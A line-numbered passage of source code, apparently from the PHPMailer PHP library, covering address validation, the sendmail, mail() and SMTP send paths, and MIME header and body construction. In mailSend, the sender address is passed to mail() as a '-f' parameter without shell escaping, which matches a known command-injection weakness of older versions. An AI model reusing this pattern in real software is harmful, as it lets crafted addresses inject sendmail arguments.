  968. '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
  969. '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
  970. '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
  971. '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
  972. '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
  973. '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
  974. '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
  975. '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  976. '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
  977. $address
  978. );
  979. case 'html5':
  980. return (boolean)preg_match(
  981. '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
  982. '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
  983. $address
  984. );
  985. case 'noregex':
  986. return (strlen($address) >= 3
  987. and strpos($address, '@') >= 1
  988. and strpos($address, '@') != strlen($address) - 1);
  989. case 'php':
  990. default:
  991. return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  992. }
  993. }
  994. public function send()
  995. {
  996. try {
  997. if (!$this->preSend()) {
  998. return false;
  999. }
  1000. return $this->postSend();
  1001. } catch (phpmailerException $exc) {
  1002. $this->mailHeader = '';
  1003. $this->setError($exc->getMessage());
  1004. if ($this->exceptions) {
  1005. throw $exc;
  1006. }
  1007. return false;
  1008. }
  1009. }
  1010. public function preSend()
  1011. {
  1012. try {
  1013. $this->mailHeader = '';
  1014. if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1015. throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  1016. }
  1017. // Set whether the message is multipart/alternative
  1018. if (!empty($this->AltBody)) {
  1019. $this->ContentType = 'multipart/alternative';
  1020. }
  1021. $this->error_count = 0; // reset errors
  1022. $this->setMessageType();
  1023. // Refuse to send an empty message unless we are specifically allowing it
  1024. if (!$this->AllowEmpty and empty($this->Body)) {
  1025. throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  1026. }
  1027. $this->MIMEHeader = $this->createHeader();
  1028. $this->MIMEBody = $this->createBody();
  1029. if ($this->Mailer == 'mail') {
  1030. if (count($this->to) > 0) {
  1031. $this->mailHeader .= $this->addrAppend('To', $this->to);
  1032. } else {
  1033. $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
  1034. }
  1035. $this->mailHeader .= $this->headerLine(
  1036. 'Subject',
  1037. $this->encodeHeader($this->secureHeader(trim($this->Subject)))
  1038. );
  1039. }
  1040. // Sign with DKIM if enabled
  1041. if (!empty($this->DKIM_domain)
  1042. && !empty($this->DKIM_private)
  1043. && !empty($this->DKIM_selector)
  1044. && file_exists($this->DKIM_private)) {
  1045. $header_dkim = $this->DKIM_Add(
  1046. $this->MIMEHeader . $this->mailHeader,
  1047. $this->encodeHeader($this->secureHeader($this->Subject)),
  1048. $this->MIMEBody
  1049. );
  1050. $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
  1051. str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
  1052. }
  1053. return true;
  1054. } catch (phpmailerException $exc) {
  1055. $this->setError($exc->getMessage());
  1056. if ($this->exceptions) {
  1057. throw $exc;
  1058. }
  1059. return false;
  1060. }
  1061. }
  1062. public function postSend()
  1063. {
  1064. try {
  1065. // Choose the mailer and send through it
  1066. switch ($this->Mailer) {
  1067. case 'sendmail':
  1068. case 'qmail':
  1069. return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  1070. case 'mail':
  1071. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1072. case 'smtp':
  1073. return $this->SmtpSend($this->MIMEHeader, $this->MIMEBody);
  1074. default:
  1075. $sendMethod = $this->Mailer.'Send';
  1076. if (method_exists($this, $sendMethod)) {
  1077. return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  1078. }
  1079. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1080. }
  1081. } catch (phpmailerException $exc) {
  1082. $this->setError($exc->getMessage());
  1083. $this->edebug($exc->getMessage());
  1084. if ($this->exceptions) {
  1085. throw $exc;
  1086. }
  1087. }
  1088. return false;
  1089. }
  1090. protected function sendmailSend($header, $body)
  1091. {
  1092. if ($this->Sender != '') {
  1093. if ($this->Mailer == 'qmail') {
  1094. $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1095. } else {
  1096. $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1097. }
  1098. } else {
  1099. if ($this->Mailer == 'qmail') {
  1100. $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  1101. } else {
  1102. $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  1103. }
  1104. }
  1105. if ($this->SingleTo) {
  1106. foreach ($this->SingleToArray as $toAddr) {
  1107. if (!@$mail = popen($sendmail, 'w')) {
  1108. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1109. }
  1110. fputs($mail, 'To: ' . $toAddr . "\n");
  1111. fputs($mail, $header);
  1112. fputs($mail, $body);
  1113. $result = pclose($mail);
  1114. $this->doCallback(
  1115. ($result == 0),
  1116. array($toAddr),
  1117. $this->cc,
  1118. $this->bcc,
  1119. $this->Subject,
  1120. $body,
  1121. $this->From
  1122. );
  1123. if ($result != 0) {
  1124. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1125. }
  1126. }
  1127. } else {
  1128. if (!@$mail = popen($sendmail, 'w')) {
  1129. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1130. }
  1131. fputs($mail, $header);
  1132. fputs($mail, $body);
  1133. $result = pclose($mail);
  1134. $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1135. if ($result != 0) {
  1136. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1137. }
  1138. }
  1139. return true;
  1140. }
  1141. protected function mailSend($header, $body)
  1142. {
  1143. $toArr = array();
  1144. foreach ($this->to as $toaddr) {
  1145. $toArr[] = $this->addrFormat($toaddr);
  1146. }
  1147. $to = implode(', ', $toArr);
  1148. if (empty($this->Sender)) {
  1149. $params = ' ';
  1150. } else {
  1151. $params = sprintf('-f%s', $this->Sender);
  1152. }
  1153. if ($this->Sender != '' and !ini_get('safe_mode')) {
  1154. $old_from = ini_get('sendmail_from');
  1155. ini_set('sendmail_from', $this->Sender);
  1156. }
  1157. $result = false;
  1158. if ($this->SingleTo && count($toArr) > 1) {
  1159. foreach ($toArr as $toAddr) {
  1160. $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  1161. $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1162. }
  1163. } else {
  1164. $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  1165. $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1166. }
  1167. if (isset($old_from)) {
  1168. ini_set('sendmail_from', $old_from);
  1169. }
  1170. if (!$result) {
  1171. throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  1172. }
  1173. return true;
  1174. }
  1175. public function getSMTPInstance()
  1176. {
  1177. if (!is_object($this->smtp)) {
  1178. $this->smtp = new SMTP;
  1179. }
  1180. return $this->smtp;
  1181. }
  1182. protected function smtpSend($header, $body)
  1183. {
  1184. $bad_rcpt = array();
  1185. if (!$this->smtpConnect($this->SMTPOptions)) {
  1186. throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  1187. }
  1188. if ('' == $this->Sender) {
  1189. $smtp_from = $this->From;
  1190. } else {
  1191. $smtp_from = $this->Sender;
  1192. }
  1193. if (!$this->smtp->mail($smtp_from)) {
  1194. $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  1195. throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  1196. }
  1197. foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
  1198. foreach ($togroup as $to) {
  1199. if (!$this->smtp->recipient($to[0])) {
  1200. $error = $this->smtp->getError();
  1201. $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
  1202. $isSent = false;
  1203. } else {
  1204. $isSent = true;
  1205. }
  1206. $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  1207. }
  1208. }
  1209. if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  1210. throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  1211. }
  1212. if ($this->SMTPKeepAlive) {
  1213. $this->smtp->reset();
  1214. } else {
  1215. $this->smtp->quit();
  1216. $this->smtp->close();
  1217. }
  1218. if (count($bad_rcpt) > 0) {
  1219. $errstr = '';
  1220. foreach ($bad_rcpt as $bad) {
  1221. $errstr .= $bad['to'] . ': ' . $bad['error'];
  1222. }
  1223. throw new phpmailerException(
  1224. $this->lang('recipients_failed') . $errstr,
  1225. self::STOP_CONTINUE
  1226. );
  1227. }
  1228. return true;
  1229. }
  1230. public function smtpConnect($options = array())
  1231. {
  1232. if (is_null($this->smtp)) {
  1233. $this->smtp = $this->getSMTPInstance();
  1234. }
  1235. if ($this->smtp->connected()) {
  1236. return true;
  1237. }
  1238. $this->smtp->setTimeout($this->Timeout);
  1239. $this->smtp->setDebugLevel($this->SMTPDebug);
  1240. $this->smtp->setDebugOutput($this->Debugoutput);
  1241. $this->smtp->setVerp($this->do_verp);
  1242. $hosts = explode(';', $this->Host);
  1243. $lastexception = null;
  1244. foreach ($hosts as $hostentry) {
  1245. $hostinfo = array();
  1246. if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
  1247. continue;
  1248. }
  1249. $prefix = '';
  1250. $secure = $this->SMTPSecure;
  1251. $tls = ($this->SMTPSecure == 'tls');
  1252. if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
  1253. $prefix = 'ssl://';
  1254. $tls = false; // Can't have SSL and TLS at the same time
  1255. $secure = 'ssl';
  1256. } elseif ($hostinfo[2] == 'tls') {
  1257. $tls = true;
  1258. $secure = 'tls';
  1259. }
  1260. $sslext = defined('OPENSSL_ALGO_SHA1');
  1261. if ('tls' === $secure or 'ssl' === $secure) {
  1262. if (!$sslext) {
  1263. throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
  1264. }
  1265. }
  1266. $host = $hostinfo[3];
  1267. $port = $this->Port;
  1268. $tport = (integer)$hostinfo[4];
  1269. if ($tport > 0 and $tport < 65536) {
  1270. $port = $tport;
  1271. }
  1272. if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  1273. try {
  1274. if ($this->Helo) {
  1275. $hello = $this->Helo;
  1276. } else {
  1277. $hello = $this->serverHostname();
  1278. }
  1279. $this->smtp->hello($hello);
  1280. if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
  1281. $tls = true;
  1282. }
  1283. if ($tls) {
  1284. if (!$this->smtp->startTLS()) {
  1285. throw new phpmailerException($this->lang('connect_host'));
  1286. }
  1287. $this->smtp->hello($hello);
  1288. }
  1289. if ($this->SMTPAuth) {
  1290. if (!$this->smtp->authenticate(
  1291. $this->Username,
  1292. $this->Password,
  1293. $this->AuthType,
  1294. $this->Realm,
  1295. $this->Workstation
  1296. )
  1297. ) {
  1298. throw new phpmailerException($this->lang('authenticate'));
  1299. }
  1300. }
  1301. return true;
  1302. } catch (phpmailerException $exc) {
  1303. $lastexception = $exc;
  1304. $this->edebug($exc->getMessage());
  1305. $this->smtp->quit();
  1306. }
  1307. }
  1308. }
  1309. $this->smtp->close();
  1310. if ($this->exceptions and !is_null($lastexception)) {
  1311. throw $lastexception;
  1312. }
  1313. return false;
  1314. }
  1315. public function smtpClose()
  1316. {
  1317. if ($this->smtp !== null) {
  1318. if ($this->smtp->connected()) {
  1319. $this->smtp->quit();
  1320. $this->smtp->close();
  1321. }
  1322. }
  1323. }
  1324.  
  1325. public function setLanguage($langcode = 'en', $lang_path = '')
  1326. {
  1327. // Define full set of translatable strings in English
  1328. $PHPMAILER_LANG = array(
  1329. 'authenticate' => 'SMTP Error: Could not authenticate.',
  1330. 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
  1331. 'data_not_accepted' => 'SMTP Error: data not accepted.',
  1332. 'empty_message' => 'Message body empty',
  1333. 'encoding' => 'Unknown encoding: ',
  1334. 'execute' => 'Could not execute: ',
  1335. 'file_access' => 'Could not access file: ',
  1336. 'file_open' => 'File Error: Could not open file: ',
  1337. 'from_failed' => 'The following From address failed: ',
  1338. 'instantiate' => 'Could not instantiate mail function.',
  1339. 'invalid_address' => 'Invalid address',
  1340. 'mailer_not_supported' => ' mailer is not supported.',
  1341. 'provide_address' => 'You must provide at least one recipient email address.',
  1342. 'recipients_failed' => 'SMTP Error: The following recipients failed: ',
  1343. 'signing' => 'Signing Error: ',
  1344. 'smtp_connect_failed' => 'SMTP connect() failed.',
  1345. 'smtp_error' => 'SMTP server error: ',
  1346. 'variable_set' => 'Cannot set or reset variable: '
  1347. );
  1348. if (empty($lang_path)) {
  1349. // Calculate an absolute path so it can work if CWD is not here
  1350. $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
  1351. }
  1352. $foundlang = true;
  1353. $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  1354. if ($langcode != 'en') { // There is no English translation file
  1355. // Make sure language file path is readable
  1356. if (!is_readable($lang_file)) {
  1357. $foundlang = false;
  1358. } else {
  1359. $foundlang = include $lang_file;
  1360. }
  1361. }
  1362. $this->language = $PHPMAILER_LANG;
  1363. return (boolean)$foundlang; // Returns false if language not found
  1364. }
  1365. public function getTranslations()
  1366. {
  1367. return $this->language;
  1368. }
  1369. public function addrAppend($type, $addr)
  1370. {
  1371. $addresses = array();
  1372. foreach ($addr as $address) {
  1373. $addresses[] = $this->addrFormat($address);
  1374. }
  1375. return $type . ': ' . implode(', ', $addresses) . $this->LE;
  1376. }
  1377.  
  1378. public function addrFormat($addr)
  1379. {
  1380. if (empty($addr[1])) { // No name provided
  1381. return $this->secureHeader($addr[0]);
  1382. } else {
  1383. return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
  1384. $addr[0]
  1385. ) . '>';
  1386. }
  1387. }
  1388.  
  1389. public function wrapText($message, $length, $qp_mode = false)
  1390. {
  1391. $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;
  1392. $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  1393. $lelen = strlen($this->LE);
  1394. $crlflen = strlen(self::CRLF);
  1395. $message = $this->fixEOL($message);
  1396. if (substr($message, -$lelen) == $this->LE) {
  1397. $message = substr($message, 0, -$lelen);
  1398. }
  1399. $line = explode($this->LE, $message); // Magic. We know fixEOL uses $LE
  1400. $message = '';
  1401. for ($i = 0; $i < count($line); $i++) {
  1402. $line_part = explode(' ', $line[$i]);
  1403. $buf = '';
  1404. for ($e = 0; $e < count($line_part); $e++) {
  1405. $word = $line_part[$e];
  1406. if ($qp_mode and (strlen($word) > $length)) {
  1407. $space_left = $length - strlen($buf) - $crlflen;
  1408. if ($e != 0) {
  1409. if ($space_left > 20) {
  1410. $len = $space_left;
  1411. if ($is_utf8) {
  1412. $len = $this->utf8CharBoundary($word, $len);
  1413. } elseif (substr($word, $len - 1, 1) == '=') {
  1414. $len--;
  1415. } elseif (substr($word, $len - 2, 1) == '=') {
  1416. $len -= 2;
  1417. }
  1418. $part = substr($word, 0, $len);
  1419. $word = substr($word, $len);
  1420. $buf .= ' ' . $part;
  1421. $message .= $buf . sprintf('=%s', self::CRLF);
  1422. } else {
  1423. $message .= $buf . $soft_break;
  1424. }
  1425. $buf = '';
  1426. }
  1427. while (strlen($word) > 0) {
  1428. if ($length <= 0) {
  1429. break;
  1430. }
  1431. $len = $length;
  1432. if ($is_utf8) {
  1433. $len = $this->utf8CharBoundary($word, $len);
  1434. } elseif (substr($word, $len - 1, 1) == '=') {
  1435. $len--;
  1436. } elseif (substr($word, $len - 2, 1) == '=') {
  1437. $len -= 2;
  1438. }
  1439. $part = substr($word, 0, $len);
  1440. $word = substr($word, $len);
  1441. if (strlen($word) > 0) {
  1442. $message .= $part . sprintf('=%s', self::CRLF);
  1443. } else {
  1444. $buf = $part;
  1445. }
  1446. }
  1447. } else {
  1448. $buf_o = $buf;
  1449. $buf .= ($e == 0) ? $word : (' ' . $word);
  1450. if (strlen($buf) > $length and $buf_o != '') {
  1451. $message .= $buf_o . $soft_break;
  1452. $buf = $word;
  1453. }
  1454. }
  1455. }
  1456. $message .= $buf . self::CRLF;
  1457. }
  1458. return $message;
  1459. }
  1460. public function utf8CharBoundary($encodedText, $maxLength)
  1461. {
  1462. $foundSplitPos = false;
  1463. $lookBack = 3;
  1464. while (!$foundSplitPos) {
  1465. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  1466. $encodedCharPos = strpos($lastChunk, '=');
  1467. if (false !== $encodedCharPos) {
  1468. // Found start of encoded character byte within $lookBack block.
  1469. // Check the encoded byte value (the 2 chars after the '=')
  1470. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  1471. $dec = hexdec($hex);
  1472. if ($dec < 128) { // Single byte character.
  1473. // If the encoded char was found at pos 0, it will fit
  1474. // otherwise reduce maxLength to start of the encoded char
  1475. $maxLength = ($encodedCharPos == 0) ? $maxLength :
  1476. $maxLength - ($lookBack - $encodedCharPos);
  1477. $foundSplitPos = true;
  1478. } elseif ($dec >= 192) { // First byte of a multi byte character
  1479. // Reduce maxLength to split at start of character
  1480. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1481. $foundSplitPos = true;
  1482. } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  1483. $lookBack += 3;
  1484. }
  1485. } else {
  1486. // No encoded character found
  1487. $foundSplitPos = true;
  1488. }
  1489. }
  1490. return $maxLength;
  1491. }
  1492. public function setWordWrap()
  1493. {
  1494. if ($this->WordWrap < 1) {
  1495. return;
  1496. }
  1497. switch ($this->message_type) {
  1498. case 'alt':
  1499. case 'alt_inline':
  1500. case 'alt_attach':
  1501. case 'alt_inline_attach':
  1502. $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  1503. break;
  1504. default:
  1505. $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  1506. break;
  1507. }
  1508. }
  1509. public function createHeader()
  1510. {
  1511. $result = '';
  1512. // Set the boundaries
  1513. $uniq_id = md5(uniqid(time()));
  1514. $this->boundary[1] = 'b1_' . $uniq_id;
  1515. $this->boundary[2] = 'b2_' . $uniq_id;
  1516. $this->boundary[3] = 'b3_' . $uniq_id;
  1517. if ($this->MessageDate == '') {
  1518. $this->MessageDate = self::rfcDate();
  1519. }
  1520. $result .= $this->headerLine('Date', $this->MessageDate);
  1521.  
  1522. // To be created automatically by mail()
  1523. if ($this->SingleTo) {
  1524. if ($this->Mailer != 'mail') {
  1525. foreach ($this->to as $toaddr) {
  1526. $this->SingleToArray[] = $this->addrFormat($toaddr);
  1527. }
  1528. }
  1529. } else {
  1530. if (count($this->to) > 0) {
  1531. if ($this->Mailer != 'mail') {
  1532. $result .= $this->addrAppend('To', $this->to);
  1533. }
  1534. } elseif (count($this->cc) == 0) {
  1535. $result .= $this->headerLine('To', 'undisclosed-recipients:;');
  1536. }
  1537. }
  1538. $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  1539. // sendmail and mail() extract Cc from the header before sending
  1540. if (count($this->cc) > 0) {
  1541. $result .= $this->addrAppend('Cc', $this->cc);
  1542. }
  1543. // sendmail and mail() extract Bcc from the header before sending
  1544. if ((
  1545. $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
  1546. )
  1547. and count($this->bcc) > 0
  1548. ) {
  1549. $result .= $this->addrAppend('Bcc', $this->bcc);
  1550. }
  1551. if (count($this->ReplyTo) > 0) {
  1552. $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
  1553. }
  1554. // mail() sets the subject itself
  1555. if ($this->Mailer != 'mail') {
  1556. $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  1557. }
  1558. if ($this->MessageID != '') {
  1559. $this->lastMessageID = $this->MessageID;
  1560. } else {
  1561. $this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname());
  1562. }
  1563. $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
  1564. $result .= $this->headerLine('X-Priority', $this->Priority);
  1565. if ($this->XMailer == '') {
  1566. $result .= $this->headerLine(
  1567. 'X-Mailer',
  1568. 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer/)'
  1569. );
  1570. } else {
  1571. $myXmailer = trim($this->XMailer);
  1572. if ($myXmailer) {
  1573. $result .= $this->headerLine('X-Mailer', $myXmailer);
  1574. }
  1575. }
  1576. if ($this->ConfirmReadingTo != '') {
  1577. $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  1578. }
  1579. // Add custom headers
  1580. for ($index = 0; $index < count($this->CustomHeader); $index++) {
  1581. $result .= $this->headerLine(
  1582. trim($this->CustomHeader[$index][0]),
  1583. $this->encodeHeader(trim($this->CustomHeader[$index][1]))
  1584. );
  1585. }
  1586. if (!$this->sign_key_file) {
  1587. $result .= $this->headerLine('MIME-Version', '1.0');
  1588. $result .= $this->getMailMIME();
  1589. }
  1590. return $result;
  1591. }
  1592. public function getMailMIME()
  1593. {
  1594. $result = '';
  1595. $ismultipart = true;
  1596. switch ($this->message_type) {
  1597. case 'inline':
  1598. $result .= $this->headerLine('Content-Type', 'multipart/related;');
  1599. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1600. break;
  1601. case 'attach':
  1602. case 'inline_attach':
  1603. case 'alt_attach':
  1604. case 'alt_inline_attach':
  1605. $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
  1606. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1607. break;
  1608. case 'alt':
  1609. case 'alt_inline':
  1610. $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1611. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1612. break;
  1613. default:
  1614. // Catches case 'plain': and case '':
  1615. $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
  1616. $ismultipart = false;
  1617. break;
  1618. }
  1619. // RFC1341 part 5 says 7bit is assumed if not specified
  1620. if ($this->Encoding != '7bit') {
  1621. // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
  1622. if ($ismultipart) {
  1623. if ($this->Encoding == '8bit') {
  1624. $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
  1625. }
  1626. // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
  1627. } else {
  1628. $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  1629. }
  1630. }
  1631. if ($this->Mailer != 'mail') {
  1632. $result .= $this->LE;
  1633. }
  1634. return $result;
  1635. }
  1636. public function getSentMIMEMessage()
  1637. {
  1638. return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  1639. }
  1640.  
  1641. public function createBody()
  1642. {
  1643. $body = '';
  1644. if ($this->sign_key_file) {
  1645. $body .= $this->getMailMIME() . $this->LE;
  1646. }
  1647. $this->setWordWrap();
  1648. $bodyEncoding = $this->Encoding;
  1649. $bodyCharSet = $this->CharSet;
  1650. if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
  1651. $bodyEncoding = '7bit';
  1652. $bodyCharSet = 'us-ascii';
  1653. }
  1654. $altBodyEncoding = $this->Encoding;
  1655. $altBodyCharSet = $this->CharSet;
  1656. if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
  1657. $altBodyEncoding = '7bit';
  1658. $altBodyCharSet = 'us-ascii';
  1659. }
  1660. switch ($this->message_type) {
  1661. case 'inline':
  1662. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  1663. $body .= $this->encodeString($this->Body, $bodyEncoding);
  1664. $body .= $this->LE . $this->LE;
  1665. $body .= $this->attachAll('inline', $this->boundary[1]);
  1666. break;
  1667. case 'attach':
  1668. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  1669. $body .= $this->encodeString($this->Body, $bodyEncoding);
  1670. $body .= $this->LE . $this->LE;
  1671. $body .= $this->attachAll('attachment', $this->boundary[1]);
  1672. break;
  1673. case 'inline_attach':
  1674. $body .= $this->textLine('--' . $this->boundary[1]);
  1675. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1676. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1677. $body .= $this->LE;
  1678. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  1679. $body .= $this->encodeString($this->Body, $bodyEncoding);
  1680. $body .= $this->LE . $this->LE;
  1681. $body .= $this->attachAll('inline', $this->boundary[2]);
  1682. $body .= $this->LE;
  1683. $body .= $this->attachAll('attachment', $this->boundary[1]);
  1684. break;
  1685. case 'alt':
  1686. $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1687. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1688. $body .= $this->LE . $this->LE;
  1689. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  1690. $body .= $this->encodeString($this->Body, $bodyEncoding);
  1691. $body .= $this->LE . $this->LE;
  1692. if (!empty($this->Ical)) {
  1693. $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  1694. $body .= $this->encodeString($this->Ical, $this->Encoding);
  1695. $body .= $this->LE . $this->LE;
  1696. }
  1697. $body .= $this->endBoundary($this->boundary[1]);
  1698. break;
  1699. case 'alt_inline':
  1700. $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1701. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1702. $body .= $this->LE . $this->LE;
  1703. $body .= $this->textLine('--' . $this->boundary[1]);
  1704. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1705. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1706. $body .= $this->LE;
  1707. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  1708. $body .= $this->encodeString($this->Body, $bodyEncoding);
  1709. $body .= $this->LE . $this->LE;
  1710. $body .= $this->attachAll('inline', $this->boundary[2]);
  1711. $body .= $this->LE;
  1712. $body .= $this->endBoundary($this->boundary[1]);
  1713. break;
  1714. case 'alt_attach':
  1715. $body .= $this->textLine('--' . $this->boundary[1]);
  1716. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1717. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1718. $body .= $this->LE;
  1719. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1720. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1721. $body .= $this->LE . $this->LE;
  1722. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  1723. $body .= $this->encodeString($this->Body, $bodyEncoding);
  1724. $body .= $this->LE . $this->LE;
  1725. $body .= $this->endBoundary($this->boundary[2]);
  1726. $body .= $this->LE;
  1727. $body .= $this->attachAll('attachment', $this->boundary[1]);
  1728. break;
  1729. case 'alt_inline_attach':
  1730. $body .= $this->textLine('--' . $this->boundary[1]);
  1731. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1732. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1733. $body .= $this->LE;
  1734. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  1735. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  1736. $body .= $this->LE . $this->LE;
  1737. $body .= $this->textLine('--' . $this->boundary[2]);
